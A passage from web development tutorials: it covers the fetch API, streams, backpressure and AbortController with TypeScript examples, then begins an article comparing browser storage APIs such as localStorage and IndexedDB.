// Use `data` multiple times (it's a plain object now)
```

**Cloning cost**: `response.clone()` uses stream teeing internally, which buffers data for both branches. For large responses, this doubles memory usage.

### HTTP Status: No Automatic Rejection

A critical gotcha: **fetch() only rejects on network errors, not HTTP error statuses**:

```typescript
// ❌ Common mistake: assuming 404 throws
try {
  const response = await fetch("/nonexistent")
  const data = await response.json() // May throw parsing error, not 404
} catch (e) {
  // Only catches network failures or JSON parse errors
}

// ✅ Correct pattern: check response.ok
const response = await fetch("/api/data")
if (!response.ok) {
  // response.ok is false for status outside 200-299
  throw new Error(`HTTP ${response.status}`)
}
const data = await response.json()
```

**Design rationale**: HTTP 4xx/5xx responses are valid HTTP—the server responded. Network failures (DNS resolution, connection refused, CORS blocked) represent actual failures to communicate.

---

## The Streams API: Incremental Data with Backpressure

The Streams Standard addresses a fundamental limitation: Promises represent single values, but network data arrives incrementally. Without streams, you must buffer entire responses before processing—problematic for large files or real-time data.

### ReadableStream Architecture

A ReadableStream wraps an **underlying source** (push or pull) and maintains an internal queue of chunks:

<figure>

![ReadableStream mediates between sources and consumers with automatic backpressure](./readablestream-mediates-between-sources-and-consumers-with-automatic-backpressur.svg)

<figcaption>ReadableStream mediates between sources and consumers with automatic backpressure</figcaption>

</figure>

**Constructor options**:

```typescript collapse={1-2, 22-27}
// Type definitions (collapsed)
type Chunk = Uint8Array | string

const stream = new ReadableStream<Chunk>(
  {
    // Called once when stream is created
    start(controller) {
      // Initial setup, return Promise to delay first pull()
    },

    // Called when internal queue needs more data
    // For pull sources: fetch data here
    // For push sources: often unused (data pushed via enqueue)
    pull(controller) {
      // controller.enqueue(chunk) - add data
      // controller.close() - signal end of data
      // controller.error(e) - signal failure
      // controller.desiredSize - bytes/chunks wanted (backpressure signal)
    },

    // Called when consumer cancels (e.g., reader.cancel())
    cancel(reason) {
      // Cleanup: close connections, release resources
      // reason contains cancellation cause
    },
  },
  // Queuing strategy
  {
    highWaterMark: 3, // Queue up to 3 chunks before backpressure
    size: (chunk) => 1, // Each chunk counts as 1 (or return byte length)
  },
)
```

### Backpressure: Automatic Flow Control

The killer feature of Streams is **automatic backpressure**. When a consumer processes slowly, `controller.desiredSize` becomes zero or negative, signaling the source to stop producing:

```typescript collapse={1-4, 30-35}
// Simulated slow consumer example
// This demonstrates backpressure without any explicit coordination
const CHUNK_SIZE = 1024

const stream = new ReadableStream({
  start(controller) {
    let offset = 0

    const produceChunk = () => {
      // Key insight: check desiredSize before producing
      if (controller.desiredSize !== null && controller.desiredSize <= 0) {
        // Consumer is slow—wait before producing more
        // This prevents memory exhaustion automatically
        setTimeout(produceChunk, 100)
        return
      }

      const chunk = generateData(offset, CHUNK_SIZE)
      controller.enqueue(chunk)
      offset += CHUNK_SIZE

      if (offset < TOTAL_SIZE) {
        // Schedule next chunk
        setTimeout(produceChunk, 0)
      } else {
        controller.close()
      }
    }

    produceChunk()
  },
})

// Helper function (collapsed)
function generateData(offset: number, size: number): Uint8Array {
  return new Uint8Array(size).fill(offset % 256)
}
```

**High water mark**: The threshold before backpressure activates. `desiredSize = highWaterMark - queuedSize`. When positive, the stream wants more data; when zero or negative, the consumer is saturated.

### Reading Streams: Three Patterns

**Pattern 1: Manual reader** (most control)

```typescript
const reader = stream.getReader()

try {
  while (true) {
    const { done, value } = await reader.read()
    if (done) break
    processChunk(value)
  }
} finally {
  reader.releaseLock() // Always release to allow other readers
}
```

**Pattern 2: Async iteration** (cleanest syntax)

```typescript
// Locks stream during iteration
for await (const chunk of stream) {
  processChunk(chunk)
}
// Stream is automatically cancelled on break/throw unless preventCancel: true

// To continue reading after early exit:
for await (const chunk of stream.values({ preventCancel: true })) {
  if (foundTarget) break // Stream remains open
}
```

**Pattern 3: Pipe to writable** (for processing pipelines)

```typescript
// Pipe handles reading, backpressure, and cleanup automatically
await stream.pipeTo(writableStream)
```

### Stream Locking

**Only one reader or pipe can be active at a time.** Calling `getReader()` locks the stream:

```typescript
const reader1 = stream.getReader()
const reader2 = stream.getReader() // ❌ TypeError: stream is locked

reader1.releaseLock()
const reader2 = stream.getReader() // ✅ Now works
```

**Design rationale**: Single-reader ensures tight producer-consumer coupling, enabling internal optimizations. Multiple readers would require buffering for each, defeating backpressure.

### Teeing: Creating Independent Branches

When you need multiple consumers, `tee()` creates two independent streams:

```typescript
const [stream1, stream2] = originalStream.tee()

// Both receive the same data independently
// Common use: stream to browser AND cache simultaneously
```

**Cost**: Teed streams buffer data for both branches. If one consumer is faster, the slower branch's buffer grows unboundedly. Use only when both consumers process at similar rates.

### WritableStream: The Destination

WritableStream defines where data goes. It queues producer writes and delivers them sequentially to an underlying sink:

```typescript collapse={1-3, 25-30}
// DOM setup (collapsed)
const outputElement = document.getElementById("output")!
let lineCount = 0

const writableStream = new WritableStream({
  // Called once when stream is created
  start(controller) {
    // Initialize sink, return Promise to delay writes
  },

  // Called for each chunk written
  write(chunk, controller) {
    // Process chunk (can be async)
    outputElement.textContent += chunk
    lineCount++

    // controller.error(e) to abort with error
  },

  // Called when writer.close() is invoked
  close() {
    console.log(`Finished writing ${lineCount} lines`)
  },

  // Called on writer.abort() or upstream error
  abort(reason) {
    console.error("Stream aborted:", reason)
    // Cleanup resources
  },
})

const writer = writableStream.getWriter()
await writer.write("Line 1\n")
await writer.write("Line 2\n")
await writer.close()
```

**Writer methods**:

- `write(chunk)`: Returns Promise that resolves when chunk is accepted (not necessarily processed)
- `close()`: Signals no more data; returns Promise that resolves when sink finishes
- `abort(reason)`: Immediately terminates; discards queued chunks
- `ready`: Promise that resolves when backpressure clears
- `desiredSize`: Current backpressure signal (null if errored/closing)

### TransformStream: Processing Pipelines

TransformStream connects a writable input to a readable output, enabling data transformation mid-pipeline:

```typescript
const uppercaseTransform = new TransformStream({
  transform(chunk, controller) {
    // Transform and forward
    controller.enqueue(chunk.toUpperCase())
  },

  flush(controller) {
    // Called after all input processed, before output closes
    // Useful for emitting buffered data
  },
})

// Use with pipeThrough
const result = await fetch("/text.txt")
const stream = response.body.pipeThrough(new TextDecoderStream()).pipeThrough(uppercaseTransform)

for await (const line of stream) {
  console.log(line) // UPPERCASE TEXT
}
```

**Built-in transforms**:

| Transform             | Purpose                    | Notes                               |
| --------------------- | -------------------------- | ----------------------------------- |
| `TextDecoderStream`   | `Uint8Array` → `string`    | Handles UTF-8 boundary splitting    |
| `TextEncoderStream`   | `string` → `Uint8Array`    | Required for request body streaming |
| `CompressionStream`   | Compress with gzip/deflate | `new CompressionStream('gzip')`     |
| `DecompressionStream` | Decompress                 | `new DecompressionStream('gzip')`   |

### Pipe Options and Error Handling

`pipeTo()` and `pipeThrough()` accept options controlling error propagation:

```typescript
await readableStream.pipeTo(writableStream, {
  preventClose: false, // Default: close destination when source closes
  preventAbort: false, // Default: abort destination on source error
  preventCancel: false, // Default: cancel source on destination error
  signal: abortSignal, // Cancel pipe on abort
})
```

**Error propagation by default**:

- Source error → destination aborted (unless `preventAbort: true`)
- Destination error → source cancelled (unless `preventCancel: true`)
- Source closes → destination closes (unless `preventClose: true`)

---

## AbortController: Composable Cancellation

AbortController provides a standard cancellation mechanism usable across fetch, streams, and custom async operations. Unlike older patterns (callbacks, boolean flags), it integrates with the event system and composes cleanly.

### Basic Usage

```typescript
const controller = new AbortController()
const signal = controller.signal

// Pass signal to cancellable operation
const response = await fetch("/slow-endpoint", { signal })

// Cancel from anywhere
controller.abort()
// OR with reason
controller.abort(new Error("User navigated away"))
```

### AbortSignal Methods

**`AbortSignal.timeout(ms)`**: Creates a signal that auto-aborts after specified duration:

```typescript
try {
  const response = await fetch("/api/data", {
    signal: AbortSignal.timeout(5000), // 5-second timeout
  })
  const data = await response.json()
} catch (e) {
  if (e.name === "TimeoutError") {
    // Timeout-specific handling
    console.error("Request timed out")
  } else if (e.name === "AbortError") {
    // Manual abort (different from timeout)
    console.error("Request was cancelled")
  }
}
```

**`AbortSignal.any(signals)`**: Aborts when any provided signal aborts:

```typescript
const controller = new AbortController()
const timeoutSignal = AbortSignal.timeout(10000)

// Abort on user action OR timeout
const response = await fetch("/api/data", {
  signal: AbortSignal.any([controller.signal, timeoutSignal]),
})

// User can still cancel manually
cancelButton.onclick = () => controller.abort()
```

**`signal.throwIfAborted()`**: Throws if already aborted—useful for checking state before expensive operations:

```typescript
async function processItems(items: Item[], signal: AbortSignal) {
  for (const item of items) {
    // Check before each expensive operation
    signal.throwIfAborted()
    await expensiveProcess(item)
  }
}
```

### Signal Reuse Gotcha

An AbortSignal can only abort once. **A fetch with an already-aborted signal rejects immediately**:

```typescript
const controller = new AbortController()
controller.abort()

// These both reject immediately with AbortError
await fetch("/a", { signal: controller.signal }) // ❌ Rejected
await fetch("/b", { signal: controller.signal }) // ❌ Rejected

// Create new controller for each operation that needs independent cancellation
```

### Custom Abortable Operations

Integrate AbortSignal into your own async functions:

```typescript collapse={1-3, 28-35}
// Helper types (collapsed)
interface ProcessOptions {
  signal?: AbortSignal
}
type ProcessResult = { processed: number }

async function processWithAbort(data: AsyncIterable<Chunk>, options: ProcessOptions = {}): Promise<ProcessResult> {
  const { signal } = options
  let processed = 0

  // Check if already aborted
  signal?.throwIfAborted()

  for await (const chunk of data) {
    // Check before each chunk
    if (signal?.aborted) {
      throw signal.reason
    }

    await processChunk(chunk)
    processed++
  }

  return { processed }
}

// Listen for abort during long operations
function longOperation(signal: AbortSignal): Promise<void> {
  return new Promise((resolve, reject) => {
    // Handle abort
    signal.addEventListener("abort", () => reject(signal.reason), { once: true })

    // Do work...
    setTimeout(resolve, 10000)
  })
}
```

---

## Streaming Patterns: Download

### Streaming Response with Progress

```typescript collapse={1-4, 32-40}
// Progress callback type (collapsed)
type ProgressCallback = (loaded: number, total: number | null) => void
interface DownloadResult {
  data: Uint8Array
  size: number
}

async function downloadWithProgress(
  url: string,
  onProgress: ProgressCallback,
  signal?: AbortSignal,
): Promise<DownloadResult> {
  const response = await fetch(url, { signal })
  if (!response.ok) throw new Error(`HTTP ${response.status}`)

  // Total may be null if server doesn't send Content-Length
  const total = response.headers.get("Content-Length")
  const totalBytes = total ? parseInt(total, 10) : null

  const reader = response.body!.getReader()
  const chunks: Uint8Array[] = []
  let loaded = 0

  while (true) {
    const { done, value } = await reader.read()
    if (done) break

    chunks.push(value)
    loaded += value.length
    onProgress(loaded, totalBytes)
  }

  // Concatenate chunks into single array
  const result = new Uint8Array(loaded)
  let offset = 0
  for (const chunk of chunks) {
    result.set(chunk, offset)
    offset += chunk.length
  }

  return { data: result, size: loaded }
}
```

### Line-by-Line Processing

```typescript collapse={1-2, 30-35}
// Import (collapsed)
type LineCallback = (line: string) => void

async function processLines(response: Response, onLine: LineCallback): Promise<void> {
  const reader = response.body!.pipeThrough(new TextDecoderStream()).getReader()

  let buffer = ""

  while (true) {
    const { done, value } = await reader.read()

    if (done) {
      // Emit final line if buffer has content
      if (buffer) onLine(buffer)
      break
    }

    buffer += value
    const lines = buffer.split("\n")

    // Process all complete lines
    for (let i = 0; i < lines.length - 1; i++) {
      onLine(lines[i])
    }

    // Keep incomplete line in buffer
    buffer = lines[lines.length - 1]
  }
}

// Usage with Server-Sent Events format
await processLines(response, (line) => {
  if (line.startsWith("data: ")) {
    const data = JSON.parse(line.slice(6))
    handleEvent(data)
  }
})
```

### NDJSON (Newline-Delimited JSON) Streaming

```typescript collapse={1-3}
// Type definitions (collapsed)
type JSONValue = string | number | boolean | null | JSONValue[] | { [key: string]: JSONValue }

async function* streamNDJSON<T extends JSONValue>(response: Response): AsyncGenerator<T> {
  const reader = response.body!.pipeThrough(new TextDecoderStream()).getReader()

  let buffer = ""

  while (true) {
    const { done, value } = await reader.read()

    if (done) {
      if (buffer.trim()) {
        yield JSON.parse(buffer) as T
      }
      return
    }

    buffer += value
    const lines = buffer.split("\n")
    buffer = lines.pop()! // Keep incomplete line

    for (const line of lines) {
      if (line.trim()) {
        yield JSON.parse(line) as T
      }
    }
  }
}

// Usage
for await (const record of streamNDJSON<UserRecord>(response)) {
  await processUser(record)
}
```

---

## Streaming Patterns: Upload

### Request Body Streaming

Streaming uploads allow sending data as it's generated, avoiding memory buffering. **Critical limitation**: As of January 2026, request body streaming requires HTTP/2+ and works only in half-duplex mode (response waits for complete request).

```typescript collapse={1-5, 35-45}
// Feature detection for streaming uploads
const supportsRequestStreams = (() => {
  let duplexAccessed = false
  const hasContentType = new Request("", {
    body: new ReadableStream(),
    method: "POST",
    get duplex() {
      duplexAccessed = true
      return "half"
    },
  }).headers.has("Content-Type")
  // If duplex getter was called AND Content-Type wasn't auto-set to text/plain,
  // browser supports streaming
  return duplexAccessed && !hasContentType
})()

async function uploadStream(
  url: string,
  dataGenerator: AsyncGenerator<Uint8Array>,
  signal?: AbortSignal,
): Promise<Response> {
  const stream = new ReadableStream({
    async pull(controller) {
      const { done, value } = await dataGenerator.next()
      if (done) {
        controller.close()
      } else {
        controller.enqueue(value)
      }
    },
  })

  return fetch(url, {
    method: "POST",
    body: stream,
    duplex: "half", // Required for streaming body
    signal,
  })
}

// Example: stream file in chunks
async function* readFileChunks(file: File, chunkSize = 64 * 1024) {
  let offset = 0
  while (offset < file.size) {
    const slice = file.slice(offset, offset + chunkSize)
    const buffer = await slice.arrayBuffer()
    yield new Uint8Array(buffer)
    offset += chunkSize
  }
}

await uploadStream("/api/upload", readFileChunks(largeFile))
```

**Limitations**:

- **HTTP/2 required**: HTTP/1.1 needs Content-Length or chunked encoding; streaming doesn't provide either
- **Half-duplex only**: Response unavailable until request completes—no bidirectional streaming in browsers
- **CORS preflight always triggered**: Streaming requests aren't "simple"
- **Non-303 redirects rejected**: Only 303 (See Other) works because it discards the body
- **Server buffering**: Many servers buffer entire request before processing, negating streaming benefits

### FormData with Large Files

For compatibility when streaming isn't available, FormData with progress uses XMLHttpRequest:

```typescript collapse={1-3, 25-35}
// Progress types (collapsed)
type UploadProgress = { loaded: number; total: number }
type ProgressHandler = (progress: UploadProgress) => void

function uploadWithProgress(
  url: string,
  formData: FormData,
  onProgress: ProgressHandler,
  signal?: AbortSignal,
): Promise<Response> {
  return new Promise((resolve, reject) => {
    const xhr = new XMLHttpRequest()

    xhr.upload.addEventListener("progress", (e) => {
      if (e.lengthComputable) {
        onProgress({ loaded: e.loaded, total: e.total })
      }
    })

    xhr.addEventListener("load", () => {
      resolve(new Response(xhr.response, { status: xhr.status }))
    })

    xhr.addEventListener("error", () => reject(new Error("Upload failed")))

    // Handle abort signal
    signal?.addEventListener("abort", () => {
      xhr.abort()
      reject(signal.reason)
    })

    xhr.open("POST", url)
    xhr.send(formData)
  })
}
```

---

## BYOB Readers: Zero-Copy for Byte Streams

For performance-critical scenarios, BYOB (Bring Your Own Buffer) readers minimize memory allocations by reading directly into caller-provided buffers:

```typescript collapse={1-4}
// BYOB is only available on byte streams (type: 'bytes')
// Example: efficient binary file processing

async function readWithBYOB(stream: ReadableStream<Uint8Array>): Promise<Uint8Array[]> {
  // Get BYOB reader (only works with byte streams)
  const reader = stream.getReader({ mode: "byob" })
  const chunks: Uint8Array[] = []

  // Reusable buffer—same memory gets reused across reads
  let buffer = new Uint8Array(65536) // 64KB buffer

  while (true) {
    // Read directly into our buffer
    const { done, value } = await reader.read(buffer)

    if (done) break

    // value is a view into the same ArrayBuffer, but potentially
    // a different length than buffer. Save the actual data.
    chunks.push(value.slice()) // Copy the filled portion

    // The original buffer is "detached"—we need a new view
    // value.buffer is the underlying ArrayBuffer
    buffer = new Uint8Array(value.buffer)
  }

  return chunks
}
```

**When to use BYOB**:

- Processing large binary files where allocation overhead matters
- Media streaming with known frame sizes
- WebAssembly integration where you control memory layout

**When to avoid**: Most applications—default readers are simpler and fast enough.

---

## Error Handling Patterns

### Comprehensive Fetch Error Handling

```typescript collapse={1-5, 45-55}
// Error types for discrimination
class NetworkError extends Error {
  name = "NetworkError"
}
class HTTPError extends Error {
  constructor(
    public status: number,
    public statusText: string,
  ) {
    super(`HTTP ${status}: ${statusText}`)
    this.name = "HTTPError"
  }
}

async function robustFetch<T>(url: string, options: RequestInit = {}): Promise<T> {
  const { signal, ...restOptions } = options

  // Combine user signal with timeout
  const timeoutSignal = AbortSignal.timeout(30000)
  const combinedSignal = signal ? AbortSignal.any([signal, timeoutSignal]) : timeoutSignal

  let response: Response

  try {
    response = await fetch(url, { ...restOptions, signal: combinedSignal })
  } catch (e) {
    if (e instanceof Error) {
      if (e.name === "TimeoutError") {
        throw new NetworkError("Request timed out after 30 seconds")
      }
      if (e.name === "AbortError") {
        throw e // Re-throw user-initiated abort
      }
    }
    throw new NetworkError(`Network request failed: ${e}`)
  }

  if (!response.ok) {
    throw new HTTPError(response.status, response.statusText)
  }

  // Handle empty responses
  const contentType = response.headers.get("Content-Type")
  if (!contentType?.includes("application/json")) {
    throw new Error(`Expected JSON, got ${contentType}`)
  }

  return response.json() as Promise<T>
}

// Usage with proper error discrimination
try {
  const data = await robustFetch<UserData>("/api/user")
} catch (e) {
  if (e instanceof HTTPError && e.status === 404) {
    // Handle not found
  } else if (e instanceof NetworkError) {
    // Handle connectivity issues
  } else if (e instanceof Error && e.name === "AbortError") {
    // User cancelled—usually no action needed
  } else {
    // Unknown error
    throw e
  }
}
```

### Stream Error Recovery

```typescript collapse={1-3}
// Retry configuration (collapsed)
interface RetryConfig {
  maxRetries: number
  delayMs: number
}

async function streamWithRetry(
  url: string,
  config: RetryConfig = { maxRetries: 3, delayMs: 1000 },
): Promise<Uint8Array> {
  let lastError: Error | undefined
  let receivedBytes = 0
  const chunks: Uint8Array[] = []

  for (let attempt = 0; attempt < config.maxRetries; attempt++) {
    try {
      const headers: HeadersInit = {}

      // Resume from where we left off
      if (receivedBytes > 0) {
        headers["Range"] = `bytes=${receivedBytes}-`
      }

      const response = await fetch(url, { headers })

      // Check if server supports range requests
      if (receivedBytes > 0 && response.status !== 206) {
        // Server doesn't support resume—start over
        chunks.length = 0
        receivedBytes = 0
      }

      const reader = response.body!.getReader()

      while (true) {
        const { done, value } = await reader.read()
        if (done) break

        chunks.push(value)
        receivedBytes += value.length
      }

      // Success—concatenate and return
      const result = new Uint8Array(receivedBytes)
      let offset = 0
      for (const chunk of chunks) {
        result.set(chunk, offset)
        offset += chunk.length
      }
      return result
    } catch (e) {
      lastError = e as Error
      await new Promise((r) => setTimeout(r, config.delayMs * (attempt + 1)))
    }
  }

  throw lastError
}
```

---

## Browser Compatibility and Polyfills

### Current Support (January 2026)

| Feature                       | Chrome | Firefox | Safari | Notes                            |
| ----------------------------- | ------ | ------- | ------ | -------------------------------- |
| `fetch()`                     | 42+    | 39+     | 10.1+  | Universal baseline               |
| `ReadableStream`              | 43+    | 65+     | 10.1+  | Response body streaming          |
| `WritableStream`              | 59+    | 100+    | 14.1+  | Later adoption in Firefox        |
| `TransformStream`             | 67+    | 102+    | 14.1+  | Full pipeline support            |
| `AbortController`             | 66+    | 57+     | 11.1+  | Cancellation baseline            |
| `AbortSignal.timeout()`       | 103+   | 100+    | 15.4+  | Timeout signals                  |
| `AbortSignal.any()`           | 116+   | 124+    | 17.4+  | Signal composition               |
| Request body `ReadableStream` | 105+   | —       | —      | **Chrome only, HTTP/2 required** |
| `for await...of` on streams   | 78+    | 65+     | 14.1+  | Async iteration                  |

### Feature Detection

```typescript
// Streaming uploads
const supportsUploadStreaming = (() => {
  try {
    let duplexAccessed = false
    new Request("", {
      body: new ReadableStream(),
      method: "POST",
      get duplex() {
        duplexAccessed = true
        return "half"
      },
    })
    return duplexAccessed
  } catch {
    return false
  }
})()

// AbortSignal.any()
const supportsSignalAny = typeof AbortSignal.any === "function"

// AbortSignal.timeout()
const supportsSignalTimeout = typeof AbortSignal.timeout === "function"

// Async iteration on streams
const supportsAsyncIteration = typeof ReadableStream.prototype[Symbol.asyncIterator] === "function"
```

---

## Conclusion

Fetch, Streams, and AbortController form a cohesive system for network data handling in modern browsers. Fetch unifies request/response semantics while exposing bodies as streams for incremental processing. Streams provide automatic backpressure through the `desiredSize` mechanism, preventing memory exhaustion without explicit coordination. AbortController enables composable cancellation that propagates through entire pipelines.

The key insight is that these APIs were designed together: `response.body` is a ReadableStream by spec, not by accident. Pipe operations respect AbortSignals. Backpressure flows bidirectionally through transforms. Understanding these integration points enables efficient patterns—streaming large files with progress, processing NDJSON incrementally, cancelling requests on navigation—that would require significant boilerplate with older APIs.

---

## Appendix

### Prerequisites

- JavaScript async/await and Promises
- HTTP request/response model (methods, headers, status codes)
- Basic understanding of ArrayBuffer/TypedArray for binary data

### Terminology

- **Backpressure**: Flow control mechanism where consumers signal their processing capacity to producers, preventing buffer overflow
- **BYOB (Bring Your Own Buffer)**: Reading mode where the caller provides the memory buffer, enabling zero-copy operations
- **Duplex**: Bidirectional communication; "half-duplex" means data flows one direction at a time
- **High water mark**: Queue size threshold before backpressure activates; measured in chunks or bytes
- **Opaque response**: Cross-origin response with `mode: 'no-cors'` that hides all data from JavaScript
- **Tee**: Splitting a stream into two independent branches that receive the same data

### Summary

- **Fetch lifecycle**: Request → network → Response; status codes don't reject, only network failures do
- **Body consumption**: Underlying stream can only be read once; use `clone()` for multiple reads
- **Stream backpressure**: `desiredSize` propagates consumption rate backwards; sources should throttle when ≤0
- **Single reader lock**: Streams allow one reader/pipe at a time; `tee()` creates independent branches
- **AbortSignal composition**: `any()` combines signals; `timeout()` creates auto-aborting signals
- **Upload streaming**: Chrome 105+ only, requires HTTP/2, half-duplex (response waits for complete request)

### References

**Specifications (Primary Sources)**

- [Fetch Standard](https://fetch.spec.whatwg.org/) - WHATWG Living Standard (defines Request, Response, body handling, CORS)
- [Streams Standard](https://streams.spec.whatwg.org/) - WHATWG Living Standard (defines ReadableStream, WritableStream, TransformStream, backpressure)
- [DOM Standard §3.3: Aborting Activities](https://dom.spec.whatwg.org/#aborting-ongoing-activities) - WHATWG Living Standard (defines AbortController, AbortSignal)

**Official Documentation**

- [Using the Fetch API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch)
- [ReadableStream - MDN](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream)
- [WritableStream - MDN](https://developer.mozilla.org/en-US/docs/Web/API/WritableStream)
- [TransformStream - MDN](https://developer.mozilla.org/en-US/docs/Web/API/TransformStream)
- [AbortController - MDN](https://developer.mozilla.org/en-US/docs/Web/API/AbortController)
- [AbortSignal - MDN](https://developer.mozilla.org/en-US/docs/Web/API/AbortSignal)
- [Using Readable Streams - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Streams_API/Using_readable_streams)
- [Streaming Requests with Fetch - Chrome Developers](https://developer.chrome.com/docs/capabilities/web-apis/fetch-streaming-requests)

**Core Maintainer Content**

- [Streams for the Web - web.dev](https://web.dev/articles/streams) - Chrome DevRel overview
- [2016: Streams FTW](https://jakearchibald.com/2016/streams-ftw/) - Jake Archibald on streams design rationale

**Browser Support**

- [Can I Use: Streams](https://caniuse.com/streams)
- [Can I Use: Fetch](https://caniuse.com/fetch)
- [Can I Use: AbortController](https://caniuse.com/abortcontroller)
- [Request Streaming Upload - Chrome Status](https://chromestatus.com/feature/5274139738767360)

---

## Browser Storage APIs: localStorage, IndexedDB, and Beyond

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/browser-apis/storage-apis-local-indexeddb
**Category:** Web Foundations / Browser APIs
**Description:** A deep dive into browser-side persistence, examining the design trade-offs behind each storage API, their quota models, transaction semantics, and eviction behavior. The WHATWG Storage Standard (Living Standard) unifies quota management under a single bucket model, while individual APIs—Web Storage (localStorage/sessionStorage), IndexedDB (W3C, version 3.0), and the Cache API (W3C)—each optimize for different access patterns. Choosing the right API depends on data shape, access frequency, thread requirements, and durability guarantees—not just capacity limits.

# Browser Storage APIs: localStorage, IndexedDB, and Beyond

A deep dive into browser-side persistence, examining the design trade-offs behind each storage API, their quota models, transaction semantics, and eviction behavior. The [WHATWG Storage Standard](https://storage.spec.whatwg.org/) (Living Standard) unifies quota management under a single bucket model, while individual APIs—[Web Storage](https://html.spec.whatwg.org/multipage/webstorage.html) (localStorage/sessionStorage), [IndexedDB](https://www.w3.org/TR/IndexedDB-3/) (W3C, version 3.0), and the [Cache API](https://w3c.github.io/ServiceWorker/#cache-interface) (W3C)—each optimize for different access patterns. Choosing the right API depends on data shape, access frequency, thread requirements, and durability guarantees—not just capacity limits.

<figure>

![Browser storage APIs and their relationship to the unified quota system](./browser-storage-apis-and-their-relationship-to-the-unified-quota-system.svg)

<figcaption>Browser storage APIs and their relationship to the unified quota system</figcaption>

</figure>

## Abstract

Browser storage is not one system—it's five APIs with different serialization models, threading guarantees, and eviction behaviors, all sharing a per-origin quota.

<figure>

![Storage APIs split into synchronous (main-thread blocking) and asynchronous categories, all governed by the Storage Standard's quota model](./storage-apis-split-into-synchronous-main-thread-blocking-and-asynchronous-catego.svg)

<figcaption>Storage APIs split into synchronous (main-thread blocking) and asynchronous categories, all governed by the Storage Standard's quota model</figcaption>

</figure>

**Core mental model:**

- **localStorage/sessionStorage** store DOMString key-value pairs synchronously on the main thread—fast for small reads, dangerous for large data. localStorage persists across sessions; sessionStorage dies with the tab
- **IndexedDB** is an asynchronous, transactional object store using the structured clone algorithm—handles complex objects and binary data at scale, but its transaction model has subtle lifetime rules that break naively async code
- **Cache API** stores `Request` → `Response` pairs and is optimized for service worker integration (covered in depth in the [Service Workers and Cache API](../service-workers-and-cache-api/README.md) article)
- **Origin Private File System (OPFS)** provides raw file system access with synchronous I/O in workers—the fastest storage option for compute-heavy workloads
- **Quota** is per-origin and varies dramatically by browser (Chrome: ~60% of disk, Firefox: up to 2 GiB per group, Safari: 1 GiB with 7-day eviction). All script-writable storage shares this budget

---

## The Storage Landscape

### Choosing the Right API

| Criteria        | localStorage             | sessionStorage            | IndexedDB             | Cache API           | OPFS                 |
| --------------- | ------------------------ | ------------------------- | --------------------- | ------------------- | -------------------- |
| **Data model**  | String KV                | String KV                 | Structured objects    | Request/Response    | Raw bytes            |
| **Capacity**    | ~5 MiB                   | ~5 MiB                    | Origin quota (GBs)    | Origin quota (GBs)  | Origin quota (GBs)   |
| **Threading**   | Sync, blocks main thread | Sync, blocks main thread  | Async (event/promise) | Async (promise)     | Sync in workers only |
| **Persistence** | Cross-session            | Tab lifetime              | Cross-session         | Cross-session       | Cross-session        |
| **Indexing**    | Key only                 | Key only                  | Multi-column indexes  | URL matching        | None                 |
| **Use case**    | User prefs, tokens       | Wizard state, form drafts | App data, offline DB  | HTTP response cache | SQLite, Wasm state   |

**Design insight**: The split between synchronous and asynchronous APIs reflects a fundamental tension. Web Storage (localStorage/sessionStorage) was designed in 2009 for simple needs—synchronous access made the API trivial to use. But synchronous storage on the main thread doesn't scale. IndexedDB (first spec 2011, current version 3.0) was designed as the scalable replacement, trading simplicity for async transactions, structured data, and indexing.

### When Cookies Still Win

Storage APIs don't replace cookies for all use cases:

- **Authentication tokens**: `HttpOnly` cookies can't be read by JavaScript, preventing XSS (Cross-Site Scripting) token theft. localStorage tokens are always vulnerable
- **Server-side access**: Cookies are sent with every HTTP request; storage APIs are client-only
- **Expiration control**: `Expires` and `Max-Age` provide server-controlled TTL (Time to Live). Storage APIs have no built-in expiration
- **Security attributes**: `Secure`, `SameSite`, and `HttpOnly` have no storage API equivalents

---

## Web Storage: localStorage and sessionStorage

The [Web Storage specification](https://html.spec.whatwg.org/multipage/webstorage.html) (WHATWG HTML Standard) defines two Storage objects that share an identical interface but differ in lifetime and scope.

### Interface and Serialization

Both APIs expose the same `Storage` interface:

```typescript
// All values are coerced to DOMString
localStorage.setItem("count", "42") // Store
localStorage.getItem("count") // "42" (always a string)
localStorage.removeItem("count") // Delete single key
localStorage.clear() // Delete all keys for this origin
localStorage.key(0) // Get key name by index
localStorage.length // Number of stored pairs

// Property-style access also works (but setItem/getItem is preferred)
localStorage.username = "alice" // Same as setItem("username", "alice")
delete localStorage.username // Same as removeItem("username")
```

**Serialization trap**: Every value is coerced to a string via `toString()`. Objects become `"[object Object]"` unless explicitly serialized:

```typescript
// ❌ Silent data loss
localStorage.setItem("user", { name: "Alice" })
localStorage.getItem("user") // "[object Object]"

// ✅ Explicit serialization
localStorage.setItem("user", JSON.stringify({ name: "Alice" }))
JSON.parse(localStorage.getItem("user")!) // { name: "Alice" }

// ⚠️ JSON.parse(null) returns null, but JSON.parse("undefined") throws
const value = localStorage.getItem("missing") // null
JSON.parse(value) // null (safe)
```

### localStorage vs sessionStorage

| Behavior                    | localStorage                                 | sessionStorage                                     |
| --------------------------- | -------------------------------------------- | -------------------------------------------------- |
| **Lifetime**                | Persists until explicitly deleted or evicted | Deleted when tab/window closes                     |
| **Scope**                   | Shared across all same-origin tabs/windows   | Isolated per tab (including duplicated tabs)       |
| **Cross-tab visibility**    | Yes (via storage events)                     | No                                                 |
| **Restored on tab restore** | N/A (always available)                       | Yes—browser restores sessionStorage on tab restore |
| **Capacity**                | ~5 MiB per origin                            | ~5 MiB per origin                                  |

**Design reasoning**: sessionStorage exists because localStorage's cross-tab sharing creates problems for multi-step workflows. A shopping cart checkout in two tabs would share state via localStorage, causing race conditions. sessionStorage provides tab-isolated state. The WHATWG spec notes sessionStorage is "intended to allow separate instances of the same web application to run in different windows without interfering with each other."

### The Synchronous Problem

Web Storage is **synchronous and blocks the main thread**. Every `getItem`/`setItem` call performs I/O on the UI thread:

```typescript
// ⚠️ Blocks UI during operation
// For small data (< 100 keys, simple values), this is imperceptible
localStorage.setItem("pref", "dark")

// ❌ Blocking with large data causes jank
// 5 MiB of JSON parsing on the main thread
const bigData = JSON.parse(localStorage.getItem("cache")!)
// User cannot scroll, click, or interact during this operation
```

